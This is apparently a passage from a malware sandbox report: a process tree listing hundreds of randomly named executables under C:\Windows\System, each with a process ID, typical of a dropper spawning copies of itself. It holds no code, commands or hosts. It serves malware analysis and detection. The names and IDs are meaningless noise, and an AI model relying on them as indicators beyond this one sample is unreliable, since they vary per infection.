  C:\Windows\System\Mzkemxl.exe
  2⤵
  PID:7608
- C:\Windows\System\LtTeMMv.exe
  C:\Windows\System\LtTeMMv.exe
  2⤵
  PID:7660
- C:\Windows\System\zZSJGza.exe
  C:\Windows\System\zZSJGza.exe
  2⤵
  PID:1304
- C:\Windows\System\PqzIaPg.exe
  C:\Windows\System\PqzIaPg.exe
  2⤵
  PID:7692
- C:\Windows\System\ukjNmMm.exe
  C:\Windows\System\ukjNmMm.exe
  2⤵
  PID:7756
- C:\Windows\System\GeIJglI.exe
  C:\Windows\System\GeIJglI.exe
  2⤵
  PID:7796
- C:\Windows\System\bxIJdpK.exe
  C:\Windows\System\bxIJdpK.exe
  2⤵
  PID:7836
- C:\Windows\System\xLRkcXm.exe
  C:\Windows\System\xLRkcXm.exe
  2⤵
  PID:7864
- C:\Windows\System\JPhqCoE.exe
  C:\Windows\System\JPhqCoE.exe
  2⤵
  PID:7880
- C:\Windows\System\TWMUDaO.exe
  C:\Windows\System\TWMUDaO.exe
  2⤵
  PID:7924
- C:\Windows\System\iUHGuaS.exe
  C:\Windows\System\iUHGuaS.exe
  2⤵
  PID:8020
- C:\Windows\System\Ysipktz.exe
  C:\Windows\System\Ysipktz.exe
  2⤵
  PID:8068
- C:\Windows\System\yPyfYwN.exe
  C:\Windows\System\yPyfYwN.exe
  2⤵
  PID:8104
- C:\Windows\System\YYVROHv.exe
  C:\Windows\System\YYVROHv.exe
  2⤵
  PID:8148
- C:\Windows\System\MhQcthx.exe
  C:\Windows\System\MhQcthx.exe
  2⤵
  PID:8188
- C:\Windows\System\flJsRpn.exe
  C:\Windows\System\flJsRpn.exe
  2⤵
  PID:1700
- C:\Windows\System\otcqfGD.exe
  C:\Windows\System\otcqfGD.exe
  2⤵
  PID:3704
- C:\Windows\System\PIQRBmG.exe
  C:\Windows\System\PIQRBmG.exe
  2⤵
  PID:6384
- C:\Windows\System\CzNHlHT.exe
  C:\Windows\System\CzNHlHT.exe
  2⤵
  PID:3724
- C:\Windows\System\LIdIWrt.exe
  C:\Windows\System\LIdIWrt.exe
  2⤵
  PID:8196
- C:\Windows\System\gWlvLYh.exe
  C:\Windows\System\gWlvLYh.exe
  2⤵
  PID:8212
- C:\Windows\System\SsuxhCe.exe
  C:\Windows\System\SsuxhCe.exe
  2⤵
  PID:8228
- C:\Windows\System\Jknwhyw.exe
  C:\Windows\System\Jknwhyw.exe
  2⤵
  PID:8244
- C:\Windows\System\tsyXCls.exe
  C:\Windows\System\tsyXCls.exe
  2⤵
  PID:8260
- C:\Windows\System\qVfViXx.exe
  C:\Windows\System\qVfViXx.exe
  2⤵
  PID:8276
- C:\Windows\System\ttZzCaj.exe
  C:\Windows\System\ttZzCaj.exe
  2⤵
  PID:8292
- C:\Windows\System\uBtnLlY.exe
  C:\Windows\System\uBtnLlY.exe
  2⤵
  PID:8308
- C:\Windows\System\RULINaC.exe
  C:\Windows\System\RULINaC.exe
  2⤵
  PID:8328
- C:\Windows\System\mbKdTAQ.exe
  C:\Windows\System\mbKdTAQ.exe
  2⤵
  PID:8344
- C:\Windows\System\GgsJCiG.exe
  C:\Windows\System\GgsJCiG.exe
  2⤵
  PID:8364
- C:\Windows\System\FqAlozK.exe
  C:\Windows\System\FqAlozK.exe
  2⤵
  PID:8380
- C:\Windows\System\bRsSVKw.exe
  C:\Windows\System\bRsSVKw.exe
  2⤵
  PID:8400
- C:\Windows\System\OvGwrkX.exe
  C:\Windows\System\OvGwrkX.exe
  2⤵
  PID:8420
- C:\Windows\System\PMellHo.exe
  C:\Windows\System\PMellHo.exe
  2⤵
  PID:8436
- C:\Windows\System\vwhKBwE.exe
  C:\Windows\System\vwhKBwE.exe
  2⤵
  PID:8456
- C:\Windows\System\sjPoxlF.exe
  C:\Windows\System\sjPoxlF.exe
  2⤵
  PID:8472
- C:\Windows\System\lDJSJYw.exe
  C:\Windows\System\lDJSJYw.exe
  2⤵
  PID:8492
- C:\Windows\System\EgmKPWB.exe
  C:\Windows\System\EgmKPWB.exe
  2⤵
  PID:8508
- C:\Windows\System\cZrirgc.exe
  C:\Windows\System\cZrirgc.exe
  2⤵
  PID:8532
- C:\Windows\System\aCBxYdK.exe
  C:\Windows\System\aCBxYdK.exe
  2⤵
  PID:8552
- C:\Windows\System\PfgWpDs.exe
  C:\Windows\System\PfgWpDs.exe
  2⤵
  PID:8568
- C:\Windows\System\YQVHoMl.exe
  C:\Windows\System\YQVHoMl.exe
  2⤵
  PID:8584
- C:\Windows\System\ZuMzBjn.exe
  C:\Windows\System\ZuMzBjn.exe
  2⤵
  PID:8604
- C:\Windows\System\WpubJxV.exe
  C:\Windows\System\WpubJxV.exe
  2⤵
  PID:8620
- C:\Windows\System\lTlOxFg.exe
  C:\Windows\System\lTlOxFg.exe
  2⤵
  PID:8644
- C:\Windows\System\WxmpIJd.exe
  C:\Windows\System\WxmpIJd.exe
  2⤵
  PID:8664
- C:\Windows\System\oOLapJU.exe
  C:\Windows\System\oOLapJU.exe
  2⤵
  PID:8684
- C:\Windows\System\CMlMSnL.exe
  C:\Windows\System\CMlMSnL.exe
  2⤵
  PID:8708
- C:\Windows\System\nTKaHQV.exe
  C:\Windows\System\nTKaHQV.exe
  2⤵
  PID:8728
- C:\Windows\System\iWMzQrP.exe
  C:\Windows\System\iWMzQrP.exe
  2⤵
  PID:8748
- C:\Windows\System\anPOBRG.exe
  C:\Windows\System\anPOBRG.exe
  2⤵
  PID:8768
- C:\Windows\System\zfPMBAy.exe
  C:\Windows\System\zfPMBAy.exe
  2⤵
  PID:8788
- C:\Windows\System\vpoEIkn.exe
  C:\Windows\System\vpoEIkn.exe
  2⤵
  PID:8820
- C:\Windows\System\ppXvxSZ.exe
  C:\Windows\System\ppXvxSZ.exe
  2⤵
  PID:8836
- C:\Windows\System\zbrQawc.exe
  C:\Windows\System\zbrQawc.exe
  2⤵
  PID:8852
- C:\Windows\System\WqDSBqA.exe
  C:\Windows\System\WqDSBqA.exe
  2⤵
  PID:8880
- C:\Windows\System\UfLQSsm.exe
  C:\Windows\System\UfLQSsm.exe
  2⤵
  PID:8896
- C:\Windows\System\vsUOGNa.exe
  C:\Windows\System\vsUOGNa.exe
  2⤵
  PID:8916
- C:\Windows\System\quIdXOj.exe
  C:\Windows\System\quIdXOj.exe
  2⤵
  PID:8932
- C:\Windows\System\yAAAWaA.exe
  C:\Windows\System\yAAAWaA.exe
  2⤵
  PID:8952
- C:\Windows\System\ExVJlvF.exe
  C:\Windows\System\ExVJlvF.exe
  2⤵
  PID:8972
- C:\Windows\System\GYGLUQk.exe
  C:\Windows\System\GYGLUQk.exe
  2⤵
  PID:8996
- C:\Windows\System\VnbDxSF.exe
  C:\Windows\System\VnbDxSF.exe
  2⤵
  PID:9024
- C:\Windows\System\UCrgFWl.exe
  C:\Windows\System\UCrgFWl.exe
  2⤵
  PID:9048
- C:\Windows\System\xaTzxcn.exe
  C:\Windows\System\xaTzxcn.exe
  2⤵
  PID:9068
- C:\Windows\System\EBLeGQZ.exe
  C:\Windows\System\EBLeGQZ.exe
  2⤵
  PID:9084
- C:\Windows\System\UGZYvgV.exe
  C:\Windows\System\UGZYvgV.exe
  2⤵
  PID:9108
- C:\Windows\System\bfpDQHe.exe
  C:\Windows\System\bfpDQHe.exe
  2⤵
  PID:9124
- C:\Windows\System\ztTxykI.exe
  C:\Windows\System\ztTxykI.exe
  2⤵
  PID:9148
- C:\Windows\System\wJZuqGu.exe
  C:\Windows\System\wJZuqGu.exe
  2⤵
  PID:9164
- C:\Windows\System\AtxNUWy.exe
  C:\Windows\System\AtxNUWy.exe
  2⤵
  PID:9184
- C:\Windows\System\YRReDQN.exe
  C:\Windows\System\YRReDQN.exe
  2⤵
  PID:9204
- C:\Windows\System\vPdkAZG.exe
  C:\Windows\System\vPdkAZG.exe
  2⤵
  PID:7052
- C:\Windows\System\wiewKVF.exe
  C:\Windows\System\wiewKVF.exe
  2⤵
  PID:3900
- C:\Windows\System\PPqunxp.exe
  C:\Windows\System\PPqunxp.exe
  2⤵
  PID:7180
- C:\Windows\System\dcGnBMX.exe
  C:\Windows\System\dcGnBMX.exe
  2⤵
  PID:1076
- C:\Windows\System\JxbZENz.exe
  C:\Windows\System\JxbZENz.exe
  2⤵
  PID:4604
- C:\Windows\System\anepMIY.exe
  C:\Windows\System\anepMIY.exe
  2⤵
  PID:8124
- C:\Windows\System\RUPptWz.exe
  C:\Windows\System\RUPptWz.exe
  2⤵
  PID:4264
- C:\Windows\System\YqVKwQh.exe
  C:\Windows\System\YqVKwQh.exe
  2⤵
  PID:7916
- C:\Windows\System\HPAGWFZ.exe
  C:\Windows\System\HPAGWFZ.exe
  2⤵
  PID:5072
- C:\Windows\System\WLPXZte.exe
  C:\Windows\System\WLPXZte.exe
  2⤵
  PID:7336
- C:\Windows\System\wvzIZYq.exe
  C:\Windows\System\wvzIZYq.exe
  2⤵
  PID:7512
- C:\Windows\System\jjsRbev.exe
  C:\Windows\System\jjsRbev.exe
  2⤵
  PID:7572
- C:\Windows\System\SxUQwfg.exe
  C:\Windows\System\SxUQwfg.exe
  2⤵
  PID:7648
- C:\Windows\System\DIHykdG.exe
  C:\Windows\System\DIHykdG.exe
  2⤵
  PID:7684
- C:\Windows\System\TcRlUkI.exe
  C:\Windows\System\TcRlUkI.exe
  2⤵
  PID:7956
- C:\Windows\System\uuRLXdl.exe
  C:\Windows\System\uuRLXdl.exe
  2⤵
  PID:8084
- C:\Windows\System\ZvTgrTq.exe
  C:\Windows\System\ZvTgrTq.exe
  2⤵
  PID:7856
- C:\Windows\System\ihDCBqd.exe
  C:\Windows\System\ihDCBqd.exe
  2⤵
  PID:8452
- C:\Windows\System\FpLWBZU.exe
  C:\Windows\System\FpLWBZU.exe
  2⤵
  PID:7952
- C:\Windows\System\tBzwUrD.exe
  C:\Windows\System\tBzwUrD.exe
  2⤵
  PID:8548
- C:\Windows\System\RKcwize.exe
  C:\Windows\System\RKcwize.exe
  2⤵
  PID:8612
- C:\Windows\System\OnoiKhZ.exe
  C:\Windows\System\OnoiKhZ.exe
  2⤵
  PID:8660
- C:\Windows\System\srNThZd.exe
  C:\Windows\System\srNThZd.exe
  2⤵
  PID:8072
- C:\Windows\System\RlvWcQb.exe
  C:\Windows\System\RlvWcQb.exe
  2⤵
  PID:8352
- C:\Windows\System\baatNFv.exe
  C:\Windows\System\baatNFv.exe
  2⤵
  PID:8948
- C:\Windows\System\bomvoXf.exe
  C:\Windows\System\bomvoXf.exe
  2⤵
  PID:5076
- C:\Windows\System\SKeXDTB.exe
  C:\Windows\System\SKeXDTB.exe
  2⤵
  PID:9228
- C:\Windows\System\fvhhvoc.exe
  C:\Windows\System\fvhhvoc.exe
  2⤵
  PID:9244
- C:\Windows\System\basiprq.exe
  C:\Windows\System\basiprq.exe
  2⤵
  PID:9260
- C:\Windows\System\OqfJobI.exe
  C:\Windows\System\OqfJobI.exe
  2⤵
  PID:9276
- C:\Windows\System\wcEAHRD.exe
  C:\Windows\System\wcEAHRD.exe
  2⤵
  PID:9292
- C:\Windows\System\RNWZpmL.exe
  C:\Windows\System\RNWZpmL.exe
  2⤵
  PID:9312
- C:\Windows\System\UafFzTH.exe
  C:\Windows\System\UafFzTH.exe
  2⤵
  PID:9332
- C:\Windows\System\jKOwXmo.exe
  C:\Windows\System\jKOwXmo.exe
  2⤵
  PID:9352
- C:\Windows\System\JXXruGa.exe
  C:\Windows\System\JXXruGa.exe
  2⤵
  PID:9376
- C:\Windows\System\ISnBkaX.exe
  C:\Windows\System\ISnBkaX.exe
  2⤵
  PID:9392
- C:\Windows\System\ztDWCoj.exe
  C:\Windows\System\ztDWCoj.exe
  2⤵
  PID:9416
- C:\Windows\System\kVNUYcd.exe
  C:\Windows\System\kVNUYcd.exe
  2⤵
  PID:9432
- C:\Windows\System\THFgpEC.exe
  C:\Windows\System\THFgpEC.exe
  2⤵
  PID:9452
- C:\Windows\System\MfYzHxN.exe
  C:\Windows\System\MfYzHxN.exe
  2⤵
  PID:9468
- C:\Windows\System\TKABkVh.exe
  C:\Windows\System\TKABkVh.exe
  2⤵
  PID:9492
- C:\Windows\System\WJTCFPs.exe
  C:\Windows\System\WJTCFPs.exe
  2⤵
  PID:9508
- C:\Windows\System\uEGWbMM.exe
  C:\Windows\System\uEGWbMM.exe
  2⤵
  PID:9528
- C:\Windows\System\SVqOLSN.exe
  C:\Windows\System\SVqOLSN.exe
  2⤵
  PID:9548
- C:\Windows\System\jWSBQyC.exe
  C:\Windows\System\jWSBQyC.exe
  2⤵
  PID:9564
- C:\Windows\System\hQvBgFx.exe
  C:\Windows\System\hQvBgFx.exe
  2⤵
  PID:9584
- C:\Windows\System\BPpnOTW.exe
  C:\Windows\System\BPpnOTW.exe
  2⤵
  PID:9600
- C:\Windows\System\sbHoTmL.exe
  C:\Windows\System\sbHoTmL.exe
  2⤵
  PID:9616
- C:\Windows\System\BETxXrY.exe
  C:\Windows\System\BETxXrY.exe
  2⤵
  PID:9636
- C:\Windows\System\mCQKLTM.exe
  C:\Windows\System\mCQKLTM.exe
  2⤵
  PID:9656
- C:\Windows\System\ZUlhVeL.exe
  C:\Windows\System\ZUlhVeL.exe
  2⤵
  PID:9672
- C:\Windows\System\TTdnDVI.exe
  C:\Windows\System\TTdnDVI.exe
  2⤵
  PID:9696
- C:\Windows\System\DkwSqPl.exe
  C:\Windows\System\DkwSqPl.exe
  2⤵
  PID:9712
- C:\Windows\System\YhECSta.exe
  C:\Windows\System\YhECSta.exe
  2⤵
  PID:9732
- C:\Windows\System\GmfVBwz.exe
  C:\Windows\System\GmfVBwz.exe
  2⤵
  PID:9752
- C:\Windows\System\AQIHDPM.exe
  C:\Windows\System\AQIHDPM.exe
  2⤵
  PID:9772
- C:\Windows\System\orZftXK.exe
  C:\Windows\System\orZftXK.exe
  2⤵
  PID:9788
- C:\Windows\System\hVsSPhO.exe
  C:\Windows\System\hVsSPhO.exe
  2⤵
  PID:9804
- C:\Windows\System\EJsZjlV.exe
  C:\Windows\System\EJsZjlV.exe
  2⤵
  PID:9828
- C:\Windows\System\gBrxzuG.exe
  C:\Windows\System\gBrxzuG.exe
  2⤵
  PID:9848
- C:\Windows\System\TZNBNKd.exe
  C:\Windows\System\TZNBNKd.exe
  2⤵
  PID:9872
- C:\Windows\System\xfqmTAa.exe
  C:\Windows\System\xfqmTAa.exe
  2⤵
  PID:9892
- C:\Windows\System\NwCWdZa.exe
  C:\Windows\System\NwCWdZa.exe
  2⤵
  PID:9912
- C:\Windows\System\morAxef.exe
  C:\Windows\System\morAxef.exe
  2⤵
  PID:9932
- C:\Windows\System\zQgZydR.exe
  C:\Windows\System\zQgZydR.exe
  2⤵
  PID:9952
- C:\Windows\System\WtVdEqA.exe
  C:\Windows\System\WtVdEqA.exe
  2⤵
  PID:9972
- C:\Windows\System\SrJwQUU.exe
  C:\Windows\System\SrJwQUU.exe
  2⤵
  PID:9996
- C:\Windows\System\kKdwujn.exe
  C:\Windows\System\kKdwujn.exe
  2⤵
  PID:10016
- C:\Windows\System\DzZNKVk.exe
  C:\Windows\System\DzZNKVk.exe
  2⤵
  PID:10036
- C:\Windows\System\ZbeTdBa.exe
  C:\Windows\System\ZbeTdBa.exe
  2⤵
  PID:10060
- C:\Windows\System\qqfWkQF.exe
  C:\Windows\System\qqfWkQF.exe
  2⤵
  PID:10084
- C:\Windows\System\MrixkBf.exe
  C:\Windows\System\MrixkBf.exe
  2⤵
  PID:10100
- C:\Windows\System\zrkxiYI.exe
  C:\Windows\System\zrkxiYI.exe
  2⤵
  PID:10120
- C:\Windows\System\SiPZjRN.exe
  C:\Windows\System\SiPZjRN.exe
  2⤵
  PID:10144
- C:\Windows\System\SerEVpf.exe
  C:\Windows\System\SerEVpf.exe
  2⤵
  PID:10160
- C:\Windows\System\NQzFNgF.exe
  C:\Windows\System\NQzFNgF.exe
  2⤵
  PID:10184
- C:\Windows\System\twUqLDP.exe
  C:\Windows\System\twUqLDP.exe
  2⤵
  PID:10200
- C:\Windows\System\OdyROHT.exe
  C:\Windows\System\OdyROHT.exe
  2⤵
  PID:10220
- C:\Windows\System\VwQWIwc.exe
  C:\Windows\System\VwQWIwc.exe
  2⤵
  PID:9092
- C:\Windows\System\gbKzOmF.exe
  C:\Windows\System\gbKzOmF.exe
  2⤵
  PID:9144
- C:\Windows\System\RfzeQKt.exe
  C:\Windows\System\RfzeQKt.exe
  2⤵
  PID:3588
- C:\Windows\System\fYjyxXi.exe
  C:\Windows\System\fYjyxXi.exe
  2⤵
  PID:8696
- C:\Windows\System\rtccvVU.exe
  C:\Windows\System\rtccvVU.exe
  2⤵
  PID:8744
- C:\Windows\System\zQqVLwa.exe
  C:\Windows\System\zQqVLwa.exe
  2⤵
  PID:8168
- C:\Windows\System\BlwnEoa.exe
  C:\Windows\System\BlwnEoa.exe
  2⤵
  PID:7388
- C:\Windows\System\dBEAeYm.exe
  C:\Windows\System\dBEAeYm.exe
  2⤵
  PID:8252
- C:\Windows\System\LrDqwKP.exe
  C:\Windows\System\LrDqwKP.exe
  2⤵
  PID:8288
- C:\Windows\System\EvqRZvd.exe
  C:\Windows\System\EvqRZvd.exe
  2⤵
  PID:2508
- C:\Windows\System\YUGoOOF.exe
  C:\Windows\System\YUGoOOF.exe
  2⤵
  PID:7708
- C:\Windows\System\oEIlClO.exe
  C:\Windows\System\oEIlClO.exe
  2⤵
  PID:8088
- C:\Windows\System\iursBGQ.exe
  C:\Windows\System\iursBGQ.exe
  2⤵
  PID:7256
- C:\Windows\System\PkuQefM.exe
  C:\Windows\System\PkuQefM.exe
  2⤵
  PID:8376
- C:\Windows\System\mcVyScT.exe
  C:\Windows\System\mcVyScT.exe
  2⤵
  PID:8000
- C:\Windows\System\BuAmuBg.exe
  C:\Windows\System\BuAmuBg.exe
  2⤵
  PID:10256
- C:\Windows\System\BXirRVc.exe
  C:\Windows\System\BXirRVc.exe
  2⤵
  PID:10276
- C:\Windows\System\Ivwizhj.exe
  C:\Windows\System\Ivwizhj.exe
  2⤵
  PID:10296
- C:\Windows\System\TWeLhff.exe
  C:\Windows\System\TWeLhff.exe
  2⤵
  PID:10320
- C:\Windows\System\HnQhMRG.exe
  C:\Windows\System\HnQhMRG.exe
  2⤵
  PID:10336
- C:\Windows\System\PzZzTJa.exe
  C:\Windows\System\PzZzTJa.exe
  2⤵
  PID:10352
- C:\Windows\System\wJYdEjz.exe
  C:\Windows\System\wJYdEjz.exe
  2⤵
  PID:10368
- C:\Windows\System\iWOIpcF.exe
  C:\Windows\System\iWOIpcF.exe
  2⤵
  PID:10384
- C:\Windows\System\NCzdIGZ.exe
  C:\Windows\System\NCzdIGZ.exe
  2⤵
  PID:10400
- C:\Windows\System\qHDeyVf.exe
  C:\Windows\System\qHDeyVf.exe
  2⤵
  PID:10416
- C:\Windows\System\vSESvJm.exe
  C:\Windows\System\vSESvJm.exe
  2⤵
  PID:10432
- C:\Windows\System\gXZXOOD.exe
  C:\Windows\System\gXZXOOD.exe
  2⤵
  PID:10448
- C:\Windows\System\SHwjsgw.exe
  C:\Windows\System\SHwjsgw.exe
  2⤵
  PID:10468
- C:\Windows\System\grUVRXb.exe
  C:\Windows\System\grUVRXb.exe
  2⤵
  PID:10492
- C:\Windows\System\LobjsHw.exe
  C:\Windows\System\LobjsHw.exe
  2⤵
  PID:10508
- C:\Windows\System\PekXCBn.exe
  C:\Windows\System\PekXCBn.exe
  2⤵
  PID:10528
- C:\Windows\System\vUyOjnj.exe
  C:\Windows\System\vUyOjnj.exe
  2⤵
  PID:10548
- C:\Windows\System\XPpOPMb.exe
  C:\Windows\System\XPpOPMb.exe
  2⤵
  PID:10564
- C:\Windows\System\WVQfDZo.exe
  C:\Windows\System\WVQfDZo.exe
  2⤵
  PID:10588
- C:\Windows\System\dvrMDqD.exe
  C:\Windows\System\dvrMDqD.exe
  2⤵
  PID:10604
- C:\Windows\System\SWrWfXB.exe
  C:\Windows\System\SWrWfXB.exe
  2⤵
  PID:10620
- C:\Windows\System\dUmsTVo.exe
  C:\Windows\System\dUmsTVo.exe
  2⤵
  PID:10636
- C:\Windows\System\XDJsZPi.exe
  C:\Windows\System\XDJsZPi.exe
  2⤵
  PID:10656
- C:\Windows\System\rmgDodr.exe
  C:\Windows\System\rmgDodr.exe
  2⤵
  PID:10672
- C:\Windows\System\kjJMgOF.exe
  C:\Windows\System\kjJMgOF.exe
  2⤵
  PID:10700
- C:\Windows\System\HsrUInh.exe
  C:\Windows\System\HsrUInh.exe
  2⤵
  PID:10716
- C:\Windows\System\FoqwvZK.exe
  C:\Windows\System\FoqwvZK.exe
  2⤵
  PID:10736
- C:\Windows\System\xdlytJR.exe
  C:\Windows\System\xdlytJR.exe
  2⤵
  PID:10752
- C:\Windows\System\iNmiNsW.exe
  C:\Windows\System\iNmiNsW.exe
  2⤵
  PID:10776
- C:\Windows\System\JqCsTab.exe
  C:\Windows\System\JqCsTab.exe
  2⤵
  PID:10792
- C:\Windows\System\nNcaFUn.exe
  C:\Windows\System\nNcaFUn.exe
  2⤵
  PID:10812
- C:\Windows\System\XeUCRWq.exe
  C:\Windows\System\XeUCRWq.exe
  2⤵
  PID:10836
- C:\Windows\System\bFiUNNn.exe
  C:\Windows\System\bFiUNNn.exe
  2⤵
  PID:10852
- C:\Windows\System\BrlAQJt.exe
  C:\Windows\System\BrlAQJt.exe
  2⤵
  PID:10872
- C:\Windows\System\dOVHMdZ.exe
  C:\Windows\System\dOVHMdZ.exe
  2⤵
  PID:10888
- C:\Windows\System\xjysAhd.exe
  C:\Windows\System\xjysAhd.exe
  2⤵
  PID:10912
- C:\Windows\System\zHKXcAC.exe
  C:\Windows\System\zHKXcAC.exe
  2⤵
  PID:10928
- C:\Windows\System\rFWlhCQ.exe
  C:\Windows\System\rFWlhCQ.exe
  2⤵
  PID:10952
- C:\Windows\System\dekUIhB.exe
  C:\Windows\System\dekUIhB.exe
  2⤵
  PID:10968
- C:\Windows\System\SYgQaqM.exe
  C:\Windows\System\SYgQaqM.exe
  2⤵
  PID:10992
- C:\Windows\System\LtiQrVq.exe
  C:\Windows\System\LtiQrVq.exe
  2⤵
  PID:11012
- C:\Windows\System\TBQBkDZ.exe
  C:\Windows\System\TBQBkDZ.exe
  2⤵
  PID:11032
- C:\Windows\System\tcVwDsz.exe
  C:\Windows\System\tcVwDsz.exe
  2⤵
  PID:11052
- C:\Windows\System\CVnOFaV.exe
  C:\Windows\System\CVnOFaV.exe
  2⤵
  PID:11076
- C:\Windows\System\SMAcjAu.exe
  C:\Windows\System\SMAcjAu.exe
  2⤵
  PID:11092
- C:\Windows\System\FGTKqKB.exe
  C:\Windows\System\FGTKqKB.exe
  2⤵
  PID:11112
- C:\Windows\System\ZacjeBm.exe
  C:\Windows\System\ZacjeBm.exe
  2⤵
  PID:11136
- C:\Windows\System\vqhsNFA.exe
  C:\Windows\System\vqhsNFA.exe
  2⤵
  PID:11152
- C:\Windows\System\joNXRhZ.exe
  C:\Windows\System\joNXRhZ.exe
  2⤵
  PID:11172
- C:\Windows\System\WYoHrWS.exe
  C:\Windows\System\WYoHrWS.exe
  2⤵
  PID:11188
- C:\Windows\System\qEEgXxk.exe
  C:\Windows\System\qEEgXxk.exe
  2⤵
  PID:11208
- C:\Windows\System\YUCLxMM.exe
  C:\Windows\System\YUCLxMM.exe
  2⤵
  PID:11224
- C:\Windows\System\FqkvARD.exe
  C:\Windows\System\FqkvARD.exe
  2⤵
  PID:11244
- C:\Windows\System\rQQBRIe.exe
  C:\Windows\System\rQQBRIe.exe
  2⤵
  PID:8360
- C:\Windows\System\AlwqLAa.exe
  C:\Windows\System\AlwqLAa.exe
  2⤵
  PID:8408
- C:\Windows\System\xvUnXPG.exe
  C:\Windows\System\xvUnXPG.exe
  2⤵
  PID:9220
- C:\Windows\System\vMbeqyz.exe
  C:\Windows\System\vMbeqyz.exe
  2⤵
  PID:9288
- C:\Windows\System\OrHhdYg.exe
  C:\Windows\System\OrHhdYg.exe
  2⤵
  PID:9076
- C:\Windows\System\LirSAsG.exe
  C:\Windows\System\LirSAsG.exe
  2⤵
  PID:9428
- C:\Windows\System\eLYSkyT.exe
  C:\Windows\System\eLYSkyT.exe
  2⤵
  PID:9460
- C:\Windows\System\FTioVRv.exe
  C:\Windows\System\FTioVRv.exe
  2⤵
  PID:9476
- C:\Windows\System\RsGLsYI.exe
  C:\Windows\System\RsGLsYI.exe
  2⤵
  PID:8480
- C:\Windows\System\GeniJtC.exe
  C:\Windows\System\GeniJtC.exe
  2⤵
  PID:8560
- C:\Windows\System\Qmywanr.exe
  C:\Windows\System\Qmywanr.exe
  2⤵
  PID:9648
- C:\Windows\System\zAThQWS.exe
  C:\Windows\System\zAThQWS.exe
  2⤵
  PID:7776
- C:\Windows\System\yKNHpqg.exe
  C:\Windows\System\yKNHpqg.exe
  2⤵
  PID:9820
- C:\Windows\System\bNnngii.exe
  C:\Windows\System\bNnngii.exe
  2⤵
  PID:7272
- C:\Windows\System\QAXcPOo.exe
  C:\Windows\System\QAXcPOo.exe
  2⤵
  PID:9924
- C:\Windows\System\KXXLzjD.exe
  C:\Windows\System\KXXLzjD.exe
  2⤵
  PID:11284
- C:\Windows\System\APqJAvb.exe
  C:\Windows\System\APqJAvb.exe
  2⤵
  PID:11300
- C:\Windows\System\KtsAHjf.exe
  C:\Windows\System\KtsAHjf.exe
  2⤵
  PID:11324
- C:\Windows\System\kAZWjWL.exe
  C:\Windows\System\kAZWjWL.exe
  2⤵
  PID:11348
- C:\Windows\System\XsHesJr.exe
  C:\Windows\System\XsHesJr.exe
  2⤵
  PID:11364
- C:\Windows\System\pHLkGTD.exe
  C:\Windows\System\pHLkGTD.exe
  2⤵
  PID:11384
- C:\Windows\System\OZtVsjy.exe
  C:\Windows\System\OZtVsjy.exe
  2⤵
  PID:11400
- C:\Windows\System\ARpDwCm.exe
  C:\Windows\System\ARpDwCm.exe
  2⤵
  PID:11424
- C:\Windows\System\KOygVno.exe
  C:\Windows\System\KOygVno.exe
  2⤵
  PID:11444
- C:\Windows\System\IAJvPyU.exe
  C:\Windows\System\IAJvPyU.exe
  2⤵
  PID:11464
- C:\Windows\System\yOIfWBV.exe
  C:\Windows\System\yOIfWBV.exe
  2⤵
  PID:11480
- C:\Windows\System\waMtiuk.exe
  C:\Windows\System\waMtiuk.exe
  2⤵
  PID:11508
- C:\Windows\System\jGUlKhx.exe
  C:\Windows\System\jGUlKhx.exe
  2⤵
  PID:11524
- C:\Windows\System\APJafGX.exe
  C:\Windows\System\APJafGX.exe
  2⤵
  PID:11540
- C:\Windows\System\AJmaJpd.exe
  C:\Windows\System\AJmaJpd.exe
  2⤵
  PID:11556
- C:\Windows\System\XblndBT.exe
  C:\Windows\System\XblndBT.exe
  2⤵
  PID:11572
- C:\Windows\System\tPeXMNZ.exe
  C:\Windows\System\tPeXMNZ.exe
  2⤵
  PID:11592
- C:\Windows\System\kpmuJIe.exe
  C:\Windows\System\kpmuJIe.exe
  2⤵
  PID:11612
- C:\Windows\System\UUdryhk.exe
  C:\Windows\System\UUdryhk.exe
  2⤵
  PID:11628
- C:\Windows\System\LwxNFko.exe
  C:\Windows\System\LwxNFko.exe
  2⤵
  PID:11652
- C:\Windows\System\CLKlKCV.exe
  C:\Windows\System\CLKlKCV.exe
  2⤵
  PID:11668
- C:\Windows\System\kiRwIsu.exe
  C:\Windows\System\kiRwIsu.exe
  2⤵
  PID:11688
- C:\Windows\System\ltlEhtX.exe
  C:\Windows\System\ltlEhtX.exe
  2⤵
  PID:11708
- C:\Windows\System\RtSvULL.exe
  C:\Windows\System\RtSvULL.exe
  2⤵
  PID:11732
- C:\Windows\System\DwVcusl.exe
  C:\Windows\System\DwVcusl.exe
  2⤵
  PID:11748
- C:\Windows\System\NUjrPCR.exe
  C:\Windows\System\NUjrPCR.exe
  2⤵
  PID:11768
- C:\Windows\System\xLLJAmh.exe
  C:\Windows\System\xLLJAmh.exe
  2⤵
  PID:11788
- C:\Windows\System\QBMcAHx.exe
  C:\Windows\System\QBMcAHx.exe
  2⤵
  PID:11804
- C:\Windows\System\cOOtXKl.exe
  C:\Windows\System\cOOtXKl.exe
  2⤵
  PID:11828
- C:\Windows\System\WBVOJDj.exe
  C:\Windows\System\WBVOJDj.exe
  2⤵
  PID:11848
- C:\Windows\System\kLFPiLx.exe
  C:\Windows\System\kLFPiLx.exe
  2⤵
  PID:11876
- C:\Windows\System\dkXiGAT.exe
  C:\Windows\System\dkXiGAT.exe
  2⤵
  PID:11896
- C:\Windows\System\wuXxPwC.exe
  C:\Windows\System\wuXxPwC.exe
  2⤵
  PID:11912
- C:\Windows\System\mlzICsq.exe
  C:\Windows\System\mlzICsq.exe
  2⤵
  PID:11932
- C:\Windows\System\EPhiBHo.exe
  C:\Windows\System\EPhiBHo.exe
  2⤵
  PID:11948
- C:\Windows\System\lpZpcVb.exe
  C:\Windows\System\lpZpcVb.exe
  2⤵
  PID:11972
- C:\Windows\System\rwcTSFu.exe
  C:\Windows\System\rwcTSFu.exe
  2⤵
  PID:11992
- C:\Windows\System\IaqYDlh.exe
  C:\Windows\System\IaqYDlh.exe
  2⤵
  PID:12008
- C:\Windows\System\CIwgXYf.exe
  C:\Windows\System\CIwgXYf.exe
  2⤵
  PID:12028
- C:\Windows\System\LkBeVkK.exe
  C:\Windows\System\LkBeVkK.exe
  2⤵
  PID:12044
- C:\Windows\System\mDnLyAv.exe
  C:\Windows\System\mDnLyAv.exe
  2⤵
  PID:12068
- C:\Windows\System\mryLCmU.exe
  C:\Windows\System\mryLCmU.exe
  2⤵
  PID:12084
- C:\Windows\System\nutUYWn.exe
  C:\Windows\System\nutUYWn.exe
  2⤵
  PID:12104
